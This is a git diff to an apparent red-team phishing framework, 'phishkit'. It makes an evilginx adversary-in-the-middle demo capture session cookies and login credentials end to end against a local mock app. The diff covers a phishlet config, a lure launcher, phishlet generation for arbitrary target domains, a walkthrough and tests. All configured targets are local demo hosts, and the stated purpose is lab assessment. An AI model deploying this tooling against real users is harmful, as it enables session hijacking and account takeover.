diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 21278aa..0dc42ae 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -55,6 +55,22 @@ jobs: - run: npm ci - run: npm run build + aitm: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + submodules: recursive + - uses: actions/setup-node@v4 + with: + node-version-file: .nvmrc + cache: npm + cache-dependency-path: demos/package-lock.json + - name: Python unit tests (evilginx lure launcher) + run: python3 -m unittest discover -s tests/python -v + - name: AiTM demo smoke test (HTTPS upstream + cookie capture surface) + run: bash tests/smoke/demo_cookie_e2e.sh + workflow-lint: runs-on: ubuntu-latest steps: diff --git a/.gitignore b/.gitignore index 6ef46a6..db9cfab 100644 --- a/.gitignore +++ b/.gitignore @@ -75,3 +75,6 @@ Thumbs.db # Rust workspace target (repo root) /target/ + +# Local demo TLS certs (generated by make demo-cookie-tls) +demos/.certs/ diff --git a/CHANGELOG.md b/CHANGELOG.md index 818dd3e..10892b9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,43 @@ All notable changes to phishkit are documented here. Format: [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). Versioning: [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [Unreleased] + +### Fixed + +- AiTM cookie demo now runs end to end. The `demo-cookie` phishlet proxies to a + reachable HTTPS upstream (`app.cookie-demo.test`) that is distinct from the lure + host, so evilginx no longer dials its own hostname and loops. +- The lure launcher's bind poll no longer reports a false negative. It probes the + configured HTTPS port with a socket connect (with `ss`/`lsof` as a fallback), + re-checks once after the process is confirmed up, and binds the port read from + the config instead of a hard-coded `443`. +- A failed lure start tears down its `screen` session and any half-bound port + instead of leaving them running. +- `ensure-destination` reuses an existing phishlet that already serves the same + landing host rather than scaffolding a duplicate that collides at load time. +- `upstream_domain` handles single-label internal hosts and compound public + suffixes (`co.uk`, `github.io`, and similar) instead of always stripping the + left label. + +### Added + +- `make demo-cookie-tls` — serves the cookie app as an HTTPS upstream for the + AiTM dry-run (self-signed cert under `demos/.certs/`). +- `EVILGINX_HTTPS_PORT` / `EVILGINX_DNS_PORT` — run the lure on unprivileged high + ports without root. +- `tests/python/` — unit tests for the lure launcher (port selection, bind poll, + config and lure-path logic). +- `tests/smoke/demo_cookie_e2e.sh` (`make test-aitm`) — unprivileged smoke test of + the HTTPS upstream and cookie capture surface. +- `tests/smoke/aitm_e2e_sudo.sh` — full proxy loop through evilginx for a lab box. +- CI job that runs the Python unit tests and the AiTM smoke test. + +### Changed + +- `make setup` installs `pexpect` into a managed `venv/` and checks for `screen`. +- [Walkthrough](docs/guide/walkthrough.md) documents the AiTM demo end to end. + ## [0.1.0] - 2026-08-14 **Alpha.** First tagged cut — primitive, not a beta, not production. We are diff --git a/Makefile b/Makefile index 45456f7..5e5ccd5 100755 --- a/Makefile +++ b/Makefile @@ -2,9 +2,10 @@ build-evilginx build \ validate-phishlet evilginx-dryrun evilginx-prod evilginx-creds \ evilginx-start evilginx-stop \ - demo demo-cookie demo-firebase demo-tunnel \ + demo demo-cookie demo-cookie-tls demo-firebase demo-tunnel \ vendor community-phishlets desktop cli \ - setup start check lint test test-unit test-integration test-integration-docker \ + setup start check lint test test-unit test-python test-aitm \ + test-integration test-integration-docker \ test-destinations docs docs-build \ campaign quick-test \ update-video-documentation update-video-documentation-desktop \ @@ -26,6 +27,7 @@ help: @echo "" @echo "Local demos (TypeScript practice apps):" @echo " make demo-cookie Cookie-session mock on :9080" + @echo " make demo-cookie-tls Cookie app as HTTPS upstream (AiTM demo)" @echo " make demo-firebase Firebase-shaped mock on :9081" @echo " make demo Start both demos" @echo " # see demos/ and demos/README.md" @@ -73,6 +75,21 @@ help: demo-cookie: @(cd demos && npm install --silent && npm run demo:cookie) +# Serve the cookie app as an HTTPS *upstream* on a host distinct from the lure, +# so evilginx can proxy and capture a real session (audit C1.4). Pair with the +# demo-cookie phishlet. Defaults to 127.0.0.2:443 (needs root/setcap for :443); +# override HOST/PORT for an unprivileged run. +# TLS_HOST=127.0.0.2 TLS_PORT=443 make demo-cookie-tls +demo-cookie-tls: + @TLS_HOST="$${TLS_HOST:-127.0.0.2}"; TLS_PORT="$${TLS_PORT:-443}"; \ + ./scripts/gen_demo_tls_cert.sh demos/.certs app.cookie-demo.test; \ + echo "demo-cookie HTTPS upstream → https://$$TLS_HOST:$$TLS_PORT (CN=app.cookie-demo.test)"; \ + (cd demos && npm install --silent); \ + cd demos && HOST="$$TLS_HOST" PORT="$$TLS_PORT" \ + TLS_CERT="$(CURDIR)/demos/.certs/app.cookie-demo.test.crt" \ + TLS_KEY="$(CURDIR)/demos/.certs/app.cookie-demo.test.key" \ + npm run demo:cookie + demo-firebase: @(cd demos && npm install --silent && npm run demo:firebase) @@ -162,15 +179,38 @@ setup: @export PATH="$$HOME/.cargo/bin:$$PATH"; \ command -v cargo >/dev/null || { echo "cargo not found. Install Rust: https://rustup.rs (then restart the shell)"; exit 1; }; \ echo "==> desktop dependencies"; (cd apps/desktop && npm install); \ - echo "==> docs dependencies"; npm install + echo "==> docs dependencies"; npm install; \ + echo "==> python deps for the evilginx lure (pexpect in a managed venv)"; \ + if [ ! -x venv/bin/python ]; then python3 -m venv venv; fi; \ + ./venv/bin/python -m pip install -q -r scripts/requirements.txt; \ + echo "==> screen (required to run evilginx with a real TTY)"; \ + if command -v screen >/dev/null; then \ + echo " screen: $$(command -v screen)"; \ + elif command -v apt-get >/dev/null; then \ + sudo apt-get install -y screen || echo " could not auto-install screen — install it manually"; \ + elif command -v brew >/dev/null; then \ + brew install screen || echo " could not auto-install screen — install it manually"; \ + else \ + echo " screen not found — install it (apt-get install screen / brew install screen)"; \ + fi # Run the supported desktop app. start: desktop # Fast quality gates for the native engine (mirrors CI). -check: test-unit +check: test-unit test-python + +test: test-unit test-python + +# Python unit tests for the evilginx lure launcher (stdlib unittest, no extra deps). +test-python: + @echo "==> python unit tests"; \ + python3 -m unittest discover -s tests/python -v -test: test-unit +# Unprivileged AiTM smoke test: stands up the HTTPS upstream and drives the +# cookie login → session → dashboard flow (the capture surface evilginx proxies). +test-aitm: + @bash tests/smoke/demo_cookie_e2e.sh test-unit: @export PATH="$$HOME/.cargo/bin:$$PATH"; \ diff --git a/README.md b/README.md index ddcfeb6..f30a67c 100644 --- a/README.md +++ b/README.md @@ -94,10 +94,19 @@ make start # run the supported desktop app (tauri dev) ``` Requires git, Rust stable (`~/.cargo/bin` on `PATH`), Node (see `.nvmrc`), the Go -toolchain (to build evilginx once), and the Tauri prerequisites for your OS. Full -instructions, including platform support, are in the +toolchain (to build evilginx once), and the Tauri prerequisites for your OS. The +AiTM lure also needs `screen` and Python `pexpect`, which `make setup` installs +into a managed `venv/`. Full instructions, including platform support, are in the [install guide](docs/guide/install.md). +To run the bundled AiTM capture end to end against the cookie demo, follow +[AiTM demo end to end](docs/guide/walkthrough.md#aitm-demo-end-to-end). A quick +unprivileged check of the capture surface: + +```bash +make test-aitm # stands up the HTTPS upstream and drives the cookie login flow +``` + The supported product is the desktop app under [`apps/desktop/`](apps/desktop/) with the AiTM kit under [`kit/evilginx/`](kit/evilginx/). diff --git a/crates/phishkit-core/src/destination.rs b/crates/phishkit-core/src/destination.rs index bd7fd1d..0e856da 100644 --- a/crates/phishkit-core/src/destination.rs +++ b/crates/phishkit-core/src/destination.rs @@ -8,7 +8,8 @@ use serde_json::{json, Value}; use crate::assessment; use crate::db::{self, Profile, UpsertProfile}; use crate::engagement::{ - default_dryrun_domain, normalize_target_host, phishlet_name_for_target, upstream_domain, + default_dryrun_domain, find_reusable_phishlet, normalize_target_host, phishlet_name_for_target, + upstream_domain, }; use crate::error::{AppError, AppResult}; use crate::kit::kit_root; @@ -176,6 +177,32 @@ fn ensure_phishlet( } } + // Reuse an existing phishlet that already serves this landing host instead of + // scaffolding a duplicate. Two enabled phishlets with the same landing host make + // evilginx refuse to load with a "hostname collision" error (audit C1.5). + let phishlets_dir = root.join("kit/evilginx/phishlets"); + if let Some(existing) = find_reusable_phishlet(&phishlets_dir, &host, &name) { + let existing_path = phishlets_dir.join(format!("{existing}.yaml")); + let mut info = stack_info.clone(); + if info.login_path.is_none() { + info.login_path = Some("/login".into()); + } + return Ok(GenerateResult { + ok: true, + phishlet: existing.clone(), + dryrun_domain: default_dryrun_domain(&host), + target_domain: host.clone(), + upstream_domain: upstream_domain(&host), + stack_info: info, + path: existing_path.display().to_string(), + created: false, + message: format!( + "Reusing existing phishlet '{existing}' (same landing host as '{host}') \ + to avoid an evilginx hostname collision" + ), + }); + } + if stack == "firebase" { let templates = phishlet::list_pattern_templates()?; if templates.iter().any(|t| t.id == "firebase") { diff --git a/crates/phishkit-core/src/engagement.rs b/crates/phishkit-core/src/engagement.rs index 80607e3..47b8275 100644 --- a/crates/phishkit-core/src/engagement.rs +++ b/crates/phishkit-core/src/engagement.rs @@ -1,3 +1,5 @@ +use std::path::Path; + use regex::Regex; use serde::Serialize; @@ -33,14 +35,94 @@ pub fn slugify(name: &str) -> String { } } +/// Multi-label public suffixes where the registrable domain (eTLD+1) needs three +/// labels, not two. This is a curated shortlist — not the full Public Suffix List — +/// covering the compound-suffix and platform-host cases the audit flagged (M1). +/// Keeping it small avoids a heavyweight PSL dependency while fixing the common +/// `*.co.uk` / `*.github.io` breakage that fed the broken phishlet generation. +const MULTI_LABEL_SUFFIXES: &[&str] = &[ + // ccTLD second levels + "co.uk", + "org.uk", + "gov.uk", + "ac.uk", + "me.uk", + "ltd.uk", + "plc.uk", + "net.uk", + "sch.uk", + "com.au", + "net.au", + "org.au", + "edu.au", + "gov.au", + "id.au", + "co.nz", + "net.nz", + "org.nz", + "govt.nz", + "co.jp", + "or.jp", + "ne.jp", + "ac.jp", + "go.jp", + "co.in", + "co.za", + "co.kr", + "co.il", + "co.th", + "com.br", + "com.cn", + "com.sg", + "com.hk", + "com.tr", + "com.mx", + "com.ar", + "com.tw", + // Common app-platform hosts whose subdomain is the tenant, not a subsite + "github.io", + "gitlab.io", + "pages.dev", + "web.app", + "firebaseapp.com", + "vercel.app", + "netlify.app", + "herokuapp.com", + "azurewebsites.net", + "cloudfront.net", +]; + +/// Registrable domain (eTLD+1) for `target_host`. +/// +/// - Single-label internal hosts (e.g. `intranet`) are returned unchanged — there +/// is no registrable suffix to strip. +/// - Hosts under a known multi-label suffix keep three labels (`app.acme.co.uk` +/// -> `acme.co.uk`). +/// - Everything else collapses to the last two labels (`app.acme.com` -> `acme.com`). pub fn upstream_domain(target_host: &str) -> String { let host = normalize_target_host(target_host); + if host.is_empty() { + return host; + } let parts: Vec<&str> = host.split('.').collect(); - if parts.len() >= 3 { - parts[parts.len() - 2..].join(".") - } else { - host + // Single-label internal host — nothing to strip. + if parts.len() < 2 { + return host; + } + for suffix in MULTI_LABEL_SUFFIXES { + if host == *suffix { + return host; + } + let dotted = format!(".{suffix}"); + if host.ends_with(&dotted) { + let suffix_labels = suffix.matches('.').count() + 1; + if parts.len() > suffix_labels { + return parts[parts.len() - (suffix_labels + 1)..].join("."); + } + return host; + } } + parts[parts.len() - 2..].join(".") } pub fn default_dryrun_domain(target_host: &str) -> String { @@ -75,6 +157,98 @@ pub fn landing_sub(target_host: &str) -> String { .to_string() } +/// Join an evilginx `phish_sub`/`orig_sub` with its base domain. An empty sub is an +/// apex host (just the domain), matching evilginx's own `combineHost` behaviour. +pub fn combine_host(sub: &str, domain: &str) -> String { + let sub = sub.trim(); + let domain = domain.trim(); + if sub.is_empty() { + domain.to_string() + } else { + format!("{sub}.{domain}") + } +} + +fn inline_field(entry: &str, key: &str) -> Option { + // Matches `key: 'value'` or `key: value` inside a YAML flow map entry. + let re = Regex::new(&format!( + r#"{key}\s*:\s*(?:'([^']*)'|"([^"]*)"|([^,}}\s]+))"# + )) + .ok()?; + let caps = re.captures(entry)?; + caps.get(1) + .or_else(|| caps.get(2)) + .or_else(|| caps.get(3)) + .map(|m| m.as_str().trim().to_string()) +} + +/// Phishing landing hosts (`is_landing: true`) declared by a phishlet YAML body. +/// +/// evilginx rejects two enabled phishlets that resolve to the same landing host +/// ("hostname collision"), which is exactly the C1.5 failure where +/// `ensure-destination` scaffolds a duplicate. Computing these hosts lets us dedupe +/// before writing a colliding file. +pub fn landing_hosts_in_yaml(text: &str) -> Vec { + let mut out = Vec::new(); + for line in text.lines() { + let trimmed = line.trim(); + if trimmed.starts_with('#') { + continue; + } + if !(trimmed.contains("is_landing: true") || trimmed.contains("is_landing:true")) { + continue; + } + let Some(domain) = inline_field(trimmed, "domain") else { + continue; + }; + let phish = inline_field(trimmed, "phish_sub").unwrap_or_default(); + let host = combine_host(&phish, &domain); + if !host.is_empty() && !out.contains(&host) { + out.push(host); + } + } + out +} + +/// Find an existing phishlet whose landing host equals `target_host`, excluding +/// `skip_stem`. ensure-destination uses this to reuse the existing phishlet instead +/// of scaffolding a duplicate that collides at evilginx load time (C1.5). +pub fn find_reusable_phishlet( + phishlets_dir: &Path, + target_host: &str, + skip_stem: &str, +) -> Option { + let host = normalize_target_host(target_host); + if host.is_empty() { + return None; + } + let mut stems: Vec<(String, std::path::PathBuf)> = Vec::new(); + for entry in std::fs::read_dir(phishlets_dir).ok()?.flatten() { + let path = entry.path(); + if path.extension().and_then(|x| x.to_str()) != Some("yaml") { + continue; + } + let Some(stem) = path.file_stem().and_then(|s| s.to_str()) else { + continue; + }; + if stem == skip_stem { + continue; + } + stems.push((stem.to_string(), path)); + } + // Deterministic order so reuse is stable across runs/filesystems. + stems.sort_by(|a, b| a.0.cmp(&b.0)); + for (stem, path) in stems { + let Ok(text) = std::fs::read_to_string(&path) else { + continue; + }; + if landing_hosts_in_yaml(&text).iter().any(|h| h == &host) { + return Some(stem); + } + } + None +} + #[derive(Debug, Serialize)] pub struct ResolveResult { pub ok: bool, @@ -199,6 +373,7 @@ pub fn resolve_engagement( #[cfg(test)] mod tests { use super::*; + use std::fs; #[test] fn normalize_strips_scheme_path_and_port() { @@ -221,4 +396,104 @@ mod tests { assert_eq!(landing_sub("app.acme.com"), "app"); assert_eq!(landing_sub("acme.com"), ""); } + + #[test] + fn upstream_domain_handles_apex_and_subdomains() { + assert_eq!(upstream_domain("acme.com"), "acme.com"); + assert_eq!(upstream_domain("portal.app.acme.com"), "acme.com"); + } + + #[test] + fn upstream_domain_handles_single_label_internal_host() { + assert_eq!(upstream_domain("intranet"), "intranet"); + assert_eq!(upstream_domain("localhost"), "localhost"); + assert_eq!(landing_sub("intranet"), ""); + } + + #[test] + fn upstream_domain_handles_compound_public_suffixes() { + assert_eq!(upstream_domain("app.acme.co.uk"), "acme.co.uk"); + assert_eq!(upstream_domain("acme.co.uk"), "acme.co.uk"); + assert_eq!(upstream_domain("portal.login.acme.com.au"), "acme.com.au"); + assert_eq!(upstream_domain("tenant.github.io"), "tenant.github.io"); + assert_eq!( + upstream_domain("app.tenant.vercel.app"), + "tenant.vercel.app" + ); + assert_eq!(landing_sub("app.acme.co.uk"), "app"); + } + + #[test] + fn combine_host_apex_and_sub() { + assert_eq!(combine_host("", "acme.com"), "acme.com"); + assert_eq!(combine_host("app", "acme.com"), "app.acme.com"); + assert_eq!(combine_host(" ", "acme.com"), "acme.com"); + } + + #[test] + fn landing_hosts_parse_inline_proxy_hosts() { + let yaml = r#" +min_ver: '3.0.0' +proxy_hosts: + - {phish_sub: '', orig_sub: 'app', domain: 'cookie-demo.test', session: true, is_landing: true, auto_filter: true} + - {phish_sub: 'api', orig_sub: 'api', domain: 'cookie-demo.test', session: true, is_landing: false} +"#; + let hosts = landing_hosts_in_yaml(yaml); + assert_eq!(hosts, vec!["cookie-demo.test".to_string()]); + + let collide = r#" +proxy_hosts: + - {phish_sub: 'demo-cookie', orig_sub: 'demo-cookie', domain: 'local.phishkit', session: true, is_landing: true} +"#; + assert_eq!( + landing_hosts_in_yaml(collide), + vec!["demo-cookie.local.phishkit".to_string()] + ); + } + + #[test] + fn landing_hosts_ignore_comments() { + let yaml = r#" +# - {phish_sub: 'ghost', domain: 'commented.test', is_landing: true} +proxy_hosts: + - {phish_sub: '', domain: 'real.test', is_landing: true} +"#; + assert_eq!(landing_hosts_in_yaml(yaml), vec!["real.test".to_string()]); + } + + #[test] + fn find_reusable_phishlet_detects_collision() { + let tmp = tempfile::tempdir().unwrap(); + let dir = tmp.path(); + fs::write( + dir.join("demo-cookie.yaml"), + "proxy_hosts:\n - {phish_sub: '', orig_sub: '', domain: 'demo-cookie.local.phishkit', is_landing: true}\n", + ) + .unwrap(); + fs::write( + dir.join("other.yaml"), + "proxy_hosts:\n - {phish_sub: '', domain: 'elsewhere.test', is_landing: true}\n", + ) + .unwrap(); + + // A new target whose landing host collides with demo-cookie should reuse it. + assert_eq!( + find_reusable_phishlet( + dir, + "demo-cookie.local.phishkit", + "demo-cookie-local-phishkit" + ), + Some("demo-cookie".to_string()) + ); + // The phishlet we are (re)generating itself is skipped. + assert_eq!( + find_reusable_phishlet(dir, "demo-cookie.local.phishkit", "demo-cookie"), + None + ); + // A target with no collision gets no reuse. + assert_eq!( + find_reusable_phishlet(dir, "fresh.example.com", "fresh-example-com"), + None + ); + } } diff --git a/crates/phishkit-core/src/evilginx_ctl.rs b/crates/phishkit-core/src/evilginx_ctl.rs index 4535876..0c35efd 100644 --- a/crates/phishkit-core/src/evilginx_ctl.rs +++ b/crates/phishkit-core/src/evilginx_ctl.rs @@ -156,9 +156,14 @@ pub fn start_with_lure( } if !out.status.success() && lure.is_empty() { + // Tear down any detached screen session / half-bound port the failed start + // left behind, so a retry starts clean (audit L1). + let _ = stop_evilginx(); return Err(AppError::msg(format!( "evilginx start failed:\n{combined}\n\ - Tip: port 443 may need privileges; check Advanced → Tail evilginx log." + Tip: privileged ports (:443/:53) need root/setcap, or set \ + EVILGINX_HTTPS_PORT/EVILGINX_DNS_PORT to high ports; see the evilginx log \ + (screen -r phishkit-evilginx)." ))); } diff --git a/demos/cookie/server.ts b/demos/cookie/server.ts index ca623f4..5c68284 100644 --- a/demos/cookie/server.ts +++ b/demos/cookie/server.ts @@ -1,8 +1,15 @@ /** * Cookie-session practice app for local phishkit dry-runs. * http://127.0.0.1:9080 — creds: demo@phishkit.local / demo-password + * + * Set TLS_CERT and TLS_KEY to serve HTTPS instead of HTTP. This is how the + * app becomes a reachable HTTPS *upstream* on a host distinct from the lure + * (app.cookie-demo.test), so evilginx can proxy and capture a session end to + * end. See `make demo-cookie-tls`. */ import { createServer, type IncomingMessage, type ServerResponse } from "node:http"; +import { createServer as createHttpsServer } from "node:https"; +import { readFileSync } from "node:fs"; import { createHmac, randomBytes } from "node:crypto"; import { parse as parseQuery } from "node:querystring"; @@ -110,7 +117,11 @@ function readBody(req: IncomingMessage): Promise { }); } -const server = createServer(async (req, res) => { +const TLS_CERT = process.env.TLS_CERT ?? ""; +const TLS_KEY = process.env.TLS_KEY ?? ""; +const useTls = TLS_CERT !== "" && TLS_KEY !== ""; + +const handler = async (req: IncomingMessage, res: ServerResponse) => { const url = new URL(req.url ?? "/", `http://${req.headers.host ?? "localhost"}`); const path = url.pathname; console.log(`[demo-cookie] ${req.socket.remoteAddress} ${req.method} ${path}`); @@ -177,10 +188,19 @@ const server = createServer(async (req, res) => { } send(res, 404, "not found\n", "text/plain; charset=utf-8"); -}); +}; + +const server = useTls + ? createHttpsServer( + { cert: readFileSync(TLS_CERT), key: readFileSync(TLS_KEY) }, + handler, + ) + : createServer(handler); +const scheme = useTls ? "https" : "http"; server.listen(PORT, HOST, () => { - console.log(`demo-cookie listening on http://${HOST}:${PORT}`); - console.log(` login: http://${HOST}:${PORT}/login`); + console.log(`demo-cookie listening on ${scheme}://${HOST}:${PORT}`); + console.log(` login: ${scheme}://${HOST}:${PORT}/login`); console.log(` creds: ${DEMO_USER} / ${DEMO_PASS}`); + if (useTls) console.log(` (TLS upstream — evilginx proxies the lure host here)`); }); diff --git a/docs/guide/walkthrough.md b/docs/guide/walkthrough.md index cacd100..6c6cb6e 100644 --- a/docs/guide/walkthrough.md +++ b/docs/guide/walkthrough.md @@ -51,3 +51,88 @@ live on a CDN or unlisted YouTube — not as GitHub Release assets. | `ffmpeg` (recommended) | Seekable MP4 output (`brew install ffmpeg`) | See [Testing](/guide/testing) and [release notes](/reference/release). + +## AiTM demo end to end + +The cookie demo can run as a full evilginx dry-run: a "victim" opens a lure URL, +evilginx proxies to the real app, and the session cookie is captured. This needs +two distinct hosts, because an AiTM proxy cannot proxy to itself (the shipped +phishlet used to point its upstream at the lure host, so evilginx dialed its own +hostname and looped). + +| Host | Role | Resolves to | +| --- | --- | --- | +| `demo-cookie.local.phishkit` | Lure, served by evilginx | `127.0.0.1` | +| `app.cookie-demo.test` | Upstream app evilginx proxies to | `127.0.0.2` | + +The shipped `demo-cookie` phishlet is wired for this split. + +### 1. Install the runtime deps + +`make setup` installs `pexpect` into a managed `venv/` and checks for `screen`. +evilginx needs `screen` to run with a real TTY; install it if setup reports it +missing (`apt-get install screen` or `brew install screen`). + +### 2. Map the hosts + +```bash +sudo tee -a /etc/hosts <<'EOF' +127.0.0.1 demo-cookie.local.phishkit +127.0.0.2 app.cookie-demo.test +EOF +``` + +### 3. Start the HTTPS upstream + +```bash +sudo make demo-cookie-tls # serves the cookie app over TLS on 127.0.0.2:443 +``` + +This generates a self-signed cert for `app.cookie-demo.test` (under +`demos/.certs/`, gitignored) and serves the cookie app over HTTPS. evilginx +proxies to it with certificate verification off, so a self-signed cert is fine +for the dry-run. + +### 4. Launch the lure + +evilginx binds `:443` and `:53`, which need privileges. Grant the binary the +capability once, or run as root: + +```bash +sudo setcap cap_net_bind_service=+ep kit/evilginx/run/evilginx +``` + +Then start the lure from the desktop app (Recon & Proxy, then Start + get lure, +phishlet `demo-cookie`) or the CLI. Open the printed +`https://demo-cookie.local.phishkit/...` URL in a fresh browser profile and click +through the self-signed warning. Sign in with `demo@phishkit.local` / +`demo-password`; the captured session shows up in Sessions. + +#### Unprivileged lure port + +To avoid root for the lure, set high ports before starting: + +```bash +export EVILGINX_HTTPS_PORT=8443 +export EVILGINX_DNS_PORT=5353 +``` + +The lure then serves on `:8443`. evilginx still dials the upstream on `:443`, so +`make demo-cookie-tls` keeps needing root or setcap for that listener. + +### Teardown + +The launcher tears down its own `screen` session when a start fails. To stop a +running lure: + +```bash +make evilginx-stop # quits the phishkit-evilginx screen session +``` + +### Automated checks + +```bash +make test-aitm # unprivileged: HTTPS upstream + cookie capture surface +make test-python # lure launcher unit tests +sudo bash tests/smoke/aitm_e2e_sudo.sh # full proxy loop through evilginx (lab box) +``` diff --git a/kit/evilginx/phishlets/demo-cookie.yaml b/kit/evilginx/phishlets/demo-cookie.yaml index 85b29b9..49b5507 100644 --- a/kit/evilginx/phishlets/demo-cookie.yaml +++ b/kit/evilginx/phishlets/demo-cookie.yaml @@ -1,26 +1,44 @@ # ============================================================================= -# demo-cookie — cookie-session dry-run against demos/cookie +# demo-cookie — working cookie-session AiTM dry-run against demos/cookie # ============================================================================= # -# Upstream mock: http://127.0.0.1:9080 (make demo-cookie) -# Dry-run domain: demo-cookie.local.phishkit +# This phishlet is wired so the shipped demo can actually proxy and capture a +# session end to end — the previous version pointed its upstream at the lure +# host itself, so evilginx dialed its own hostname and looped (audit C1.4). # -# Auth shape: POST /login (form) → Set-Cookie: session=… → /dashboard +# Two distinct hosts are required (this is the whole point of an AiTM proxy): +# +# Lure host (what the "victim" opens, served by evilginx) +# demo-cookie.local.phishkit -> 127.0.0.1 (evilginx :443) +# +# Upstream host (the real app evilginx proxies to, over HTTPS) +# app.cookie-demo.test -> 127.0.0.2 (make demo-cookie-tls) +# +# /etc/hosts (both lines): +# 127.0.0.1 demo-cookie.local.phishkit +# 127.0.0.2 app.cookie-demo.test +# +# Start the HTTPS upstream first, then launch the lure: +# make demo-cookie-tls # serves the cookie app over TLS on 127.0.0.2:443 +# # then Start + get lure in the desktop app / CLI with phishlet demo-cookie +# +# Auth shape: POST /login (form) -> Set-Cookie: session=... -> /dashboard # Test creds: demo@phishkit.local / demo-password # -# Note: the mock speaks HTTP on :9080. For a full evilginx proxy dry-run you -# still need a reachable HTTPS upstream (or tunnel the mock). This phishlet is -# the capture-surface template and validates cleanly; exercise the mock directly -# or via the desktop Target notes in demos/cookie/. +# See docs/guide/walkthrough.md ("AiTM demo end to end") for the full run, +# including the setcap/sudo privileged-port story. # ============================================================================= min_ver: '3.0.0' +# phish host {phish_sub}.{dry-run domain} -> orig host {orig_sub}.{domain} +# ''.demo-cookie.local.phishkit -> app.cookie-demo.test proxy_hosts: - - {phish_sub: '', orig_sub: '', domain: 'demo-cookie.local.phishkit', session: true, is_landing: true, auto_filter: true} + - {phish_sub: '', orig_sub: 'app', domain: 'cookie-demo.test', session: true, is_landing: true, auto_filter: true} +# Session cookie the upstream sets (host-only on app.cookie-demo.test). auth_tokens: - - domain: '.demo-cookie.local.phishkit' + - domain: 'app.cookie-demo.test' keys: - 'session' - 'access_token,opt' @@ -38,5 +56,5 @@ credentials: type: 'post' login: - domain: 'demo-cookie.local.phishkit' + domain: 'app.cookie-demo.test' path: '/login' diff --git a/kit/evilginx/scripts/configure_lure.py b/kit/evilginx/scripts/configure_lure.py index c194c46..542f68d 100644 --- a/kit/evilginx/scripts/configure_lure.py +++ b/kit/evilginx/scripts/configure_lure.py @@ -13,6 +13,7 @@ import os import re import secrets +import socket import string import subprocess import sys @@ -45,6 +46,32 @@ def _repo_root() -> Path: EVILGINX_LOG = Path(_LOG_ENV).resolve() if _LOG_ENV else (DATA_DIR / "evilginx.log") SCREEN_NAME = "phishkit-evilginx" + +def _env_port(name: str, default: int) -> int: + """Read an integer port from the environment, falling back to `default`. + + Lets a lab box run the lure on an unprivileged high port + (EVILGINX_HTTPS_PORT / EVILGINX_DNS_PORT) instead of requiring :443/:53. + """ + raw = (os.environ.get(name) or "").strip() + if not raw: + return default + try: + port = int(raw) + except ValueError as exc: + raise ConfigureError(f"{name} must be an integer, got {raw!r}") from exc + if not (1 <= port <= 65535): + raise ConfigureError(f"{name} out of range (1-65535): {port}") + return port + + +def desired_https_port() -> int: + return _env_port("EVILGINX_HTTPS_PORT", 443) + + +def desired_dns_port() -> int: + return _env_port("EVILGINX_DNS_PORT", 53) + class ConfigureError(RuntimeError): pass @@ -250,6 +277,10 @@ def configure_via_config_json( general = cfg.get("general") or {} general["domain"] = dryrun_domain general["external_ipv4"] = "127.0.0.1" + # Honor high-port overrides so a lab run can avoid root (evilginx defaults + # https_port=443 / dns_port=53 when these are unset). + general["https_port"] = desired_https_port() + general["dns_port"] = desired_dns_port() # Empty = 403 on unauthorized requests (Evilginx default is a Rick Roll URL). general["unauth_url"] = "" cfg["general"] = general @@ -350,31 +381,69 @@ def _resolve_lure_path(ops: dict) -> str: first_path = f"/{first_path}" if first_path else _pick_lure_path(phishlet) return lure_from_config(dryrun_domain, phishlet) or f"https://{landing_host}{first_path}" -def _https_port_listening() -> bool: - probe = subprocess.run( - ["lsof", "-nP", "-iTCP:443", "-sTCP:LISTEN", "-t"], - capture_output=True, - text=True, - check=False, - ) - return bool(probe.stdout.strip()) +def _socket_listening(port: int, host: str = "127.0.0.1") -> bool: + """True if something accepts TCP connections on host:port. + + A direct connect works everywhere, including boxes without `lsof`/`ss`. The + old probe shelled out to `lsof` only, so on hosts where `lsof` is missing (or + reports nothing for a wildcard `LISTEN *:443` socket) it reported a false + negative even though evilginx was up and bound — audit C1.3. + """ + try: + with socket.create_connection((host, port), timeout=1.0): + return True + except OSError: + return False + + +def _tool_reports_listen(port: int) -> bool: + """Secondary check via `ss` then `lsof` (whichever exists). Best effort.""" + for cmd in ( + ["ss", "-tlnH", f"sport = :{port}"], + ["lsof", "-nP", f"-iTCP:{port}", "-sTCP:LISTEN", "-t"], + ): + try: + probe = subprocess.run(cmd, capture_output=True, text=True, check=False) + except FileNotFoundError: + continue + if probe.stdout.strip(): + return True + return False -def _wait_https_port(timeout_sec: float = 12.0) -> None: +def https_port_listening(port: int | None = None) -> bool: + port = port if port is not None else desired_https_port() + return _socket_listening(port) or _tool_reports_listen(port) + + +def _wait_https_port(port: int | None = None, timeout_sec: float = 15.0) -> bool: + """Poll until the HTTPS port accepts connections. Returns True on success. + + Does not raise: the caller decides what to do when the process is up but the + port never answers, so it can re-check and tear down cleanly. + """ + port = port if port is not None else desired_https_port() deadline = time.time() + timeout_sec while time.time() < deadline: - if _https_port_listening(): - return + if https_port_listening(port): + return True time.sleep(0.25) - raise ConfigureError( - "evilginx did not bind HTTPS port 443 in time — " - "check evilginx.log (port in use or need elevated privileges)." + return False + + +def _evilginx_process_up() -> bool: + probe = subprocess.run( + ["pgrep", "-f", f"evilginx.*{DATA_DIR}"], + capture_output=True, + check=False, ) + return probe.returncode == 0 def start_in_screen() -> None: DATA_DIR.mkdir(parents=True, exist_ok=True) EVILGINX_LOG.parent.mkdir(parents=True, exist_ok=True) + port = desired_https_port() env_export = f"export PHISHKIT_ROOT={KIT_ROOT}; " cmd = ( f"{env_export}exec {EVILGINX_BIN} -p {PHISHLETS_DIR} -t {REDIRECTORS_DIR} -c {DATA_DIR}" @@ -384,18 +453,38 @@ def start_in_screen() -> None: _log(f"starting background screen session '{SCREEN_NAME}'") subprocess.run(args, check=False, cwd=str(KIT_ROOT)) + # Wait for the evilginx process to actually come up in the screen session. + process_up = False for _ in range(40): - probe = subprocess.run( - ["pgrep", "-f", f"evilginx.*{DATA_DIR}"], - capture_output=True, - check=False, - ) - if probe.returncode == 0: - _wait_https_port() - _log("evilginx is running in screen (port 443 listening)") - return + if _evilginx_process_up(): + process_up = True + break time.sleep(0.25) - raise ConfigureError("evilginx did not start in screen after configure") + + if not process_up: + stop_evilginx() + raise 